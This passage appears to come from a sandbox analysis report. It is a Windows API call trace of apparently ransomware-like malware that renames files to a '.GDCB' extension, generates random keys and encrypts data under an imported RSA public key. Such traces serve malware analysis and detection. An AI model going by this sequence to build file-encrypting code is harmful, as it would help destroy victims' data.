Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\2577507833\\3967450640.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\ac\\microsoft\\windows\\2577507833\\3967450640.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0285.864] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd160000 [0285.868] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd170000 [0285.870] ReadFile (in: hFile=0x454, lpBuffer=0xd170000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xd170000*, lpNumberOfBytesRead=0x285d670*=0xde0, lpOverlapped=0x0) returned 1 [0285.886] VirtualAlloc (lpAddress=0x0, dwSize=0xde0, flAllocationType=0x3000, flProtect=0x4) returned 0xd280000 [0285.893] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\2577507833\\3967450640.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\ac\\microsoft\\windows\\2577507833\\3967450640.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\2577507833\\3967450640.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\ac\\microsoft\\windows\\2577507833\\3967450640.pri.gdcb")) returned 1 [0285.926] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0285.930] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.932] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.932] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0285.932] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.932] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0285.935] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.937] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.937] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0285.937] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.938] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0285.940] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a7af0) returned 1 [0285.940] CryptGetKeyParam (in: hKey=0x67a7af0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0285.940] CryptEncrypt (in: hKey=0x67a7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd140000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd140000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0285.940] GetLastError () returned 0x0 [0285.941] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.941] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0285.942] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a83f0) returned 1 [0285.942] CryptGetKeyParam (in: hKey=0x67a83f0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0285.942] CryptEncrypt (in: hKey=0x67a83f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd150000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd150000*, pdwDataLen=0x285db40*=0x100) returned 1 [0285.943] GetLastError () returned 0x0 [0285.943] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0285.943] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_show.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0285.943] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0285.946] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.949] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.949] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0285.949] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.949] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0285.952] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.954] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.954] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0285.954] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.955] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0285.958] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a84b0) returned 1 [0285.958] CryptGetKeyParam (in: hKey=0x67a84b0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0285.958] CryptEncrypt (in: hKey=0x67a84b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd160000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd160000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0285.958] GetLastError () returned 0x0 [0285.958] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.958] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0285.960] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a8430) returned 1 [0285.960] CryptGetKeyParam (in: hKey=0x67a8430, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0285.960] CryptEncrypt (in: hKey=0x67a8430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd170000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd170000*, pdwDataLen=0x285db40*=0x100) returned 1 [0285.960] GetLastError () returned 0x0 [0285.960] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0285.960] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_withdraw.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0285.960] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0285.964] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.966] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.966] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0285.966] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.966] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0285.969] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.972] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.973] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0285.973] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0285.973] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0285.976] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a82b0) returned 1 [0285.976] CryptGetKeyParam (in: hKey=0x67a82b0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0285.976] CryptEncrypt (in: hKey=0x67a82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd180000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd180000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0285.976] GetLastError () returned 0x0 [0285.976] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.976] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0285.978] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a8270) returned 1 [0285.978] CryptGetKeyParam (in: hKey=0x67a8270, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0285.978] CryptEncrypt (in: hKey=0x67a8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd190000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd190000*, pdwDataLen=0x285db40*=0x100) returned 1 [0285.979] GetLastError () returned 0x0 [0285.979] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.979] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_show.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0285.979] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0285.983] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.985] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.985] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0285.985] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0285.985] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0285.989] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.992] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.992] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0285.992] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.993] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4980) returned 1 [0285.995] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a8370) returned 1 [0285.995] CryptGetKeyParam (in: hKey=0x67a8370, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0285.995] CryptEncrypt (in: hKey=0x67a8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd1a0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd1a0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0285.995] GetLastError () returned 0x0 [0285.995] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0285.996] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0285.998] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a81f0) returned 1 [0285.998] CryptGetKeyParam (in: hKey=0x67a81f0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0285.998] CryptEncrypt (in: hKey=0x67a81f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd1b0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd1b0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0285.998] GetLastError () returned 0x0 [0285.998] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0285.998] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_withdraw.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0285.998] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0286.002] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.005] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.006] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0286.006] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.006] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0286.010] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.013] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.013] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0286.013] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0286.013] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4980) returned 1 [0286.016] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a83b0) returned 1 [0286.016] CryptGetKeyParam (in: hKey=0x67a83b0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0286.016] CryptEncrypt (in: hKey=0x67a83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd1c0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd1c0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0286.016] GetLastError () returned 0x0 [0286.016] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0286.016] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0286.018] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a81b0) returned 1 [0286.018] CryptGetKeyParam (in: hKey=0x67a81b0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0286.018] CryptEncrypt (in: hKey=0x67a81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd1d0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd1d0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0286.018] GetLastError () returned 0x0 [0286.018] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.018] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_show.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0286.019] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0286.022] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.025] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.025] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0286.025] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.025] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0286.028] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.030] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.030] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0286.030] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.030] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0286.032] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a8470) returned 1 [0286.032] CryptGetKeyParam (in: hKey=0x67a8470, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0286.032] CryptEncrypt (in: hKey=0x67a8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd1e0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd1e0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0286.033] GetLastError () returned 0x0 [0286.033] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.033] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4980) returned 1 [0286.035] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a84f0) returned 1 [0286.035] CryptGetKeyParam (in: hKey=0x67a84f0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0286.035] CryptEncrypt (in: hKey=0x67a84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd1f0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd1f0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0286.035] GetLastError () returned 0x0 [0286.035] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0286.035] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_withdraw.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0286.053] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0286.057] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.059] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.059] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0286.059] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.059] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0286.062] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.064] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.064] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0286.064] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.065] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0286.067] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67a8230) returned 1 [0286.067] CryptGetKeyParam (in: hKey=0x67a8230, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0286.067] CryptEncrypt (in: hKey=0x67a8230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xd200000*, pdwDataLen=0x285d62c*=0x100) returned 1 